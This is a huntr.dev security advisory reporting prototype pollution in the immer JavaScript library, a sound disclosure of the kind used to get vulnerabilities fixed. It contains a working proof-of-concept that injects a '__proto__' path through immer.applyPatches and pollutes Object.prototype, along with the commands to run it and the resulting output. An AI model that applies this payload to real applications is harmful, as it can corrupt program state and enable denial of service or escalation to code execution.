Lucene search

K
huntrReady-research23D38099-71CD-42ED-A77A-71E68094ADFA
HistoryAug 30, 2021 - 5:45 a.m.

Prototype Pollution in immerjs/immer

2021-08-3005:45:15
ready-research
www.huntr.dev
8

EPSS

0.003

Percentile

65.9%

✍️ Description

immer package is vulnerable to Prototype Pollution.

🕵️‍♂️ Proof of Concept

Create the following PoC file:

// poc.js
const immer = require("immer");
immer.enablePatches();
let obj = {};
const patch = [{ op: 'add', path: [["__proto__"],"polluted"], value: "Yes! Its Polluted"}];
console.log("Before : " + {}.polluted);
immer.applyPatches(obj , patch);
console.log("After : " + {}.polluted);

Execute the following commands in terminal:

npm i immer # Install affected module
node poc.js #  Run the PoC

Check the Output:

Before : undefined
After : Yes! Its Polluted

💥 Impact

It may lead to Information Disclosure/DoS/RCE.

EPSS

0.003

Percentile

65.9%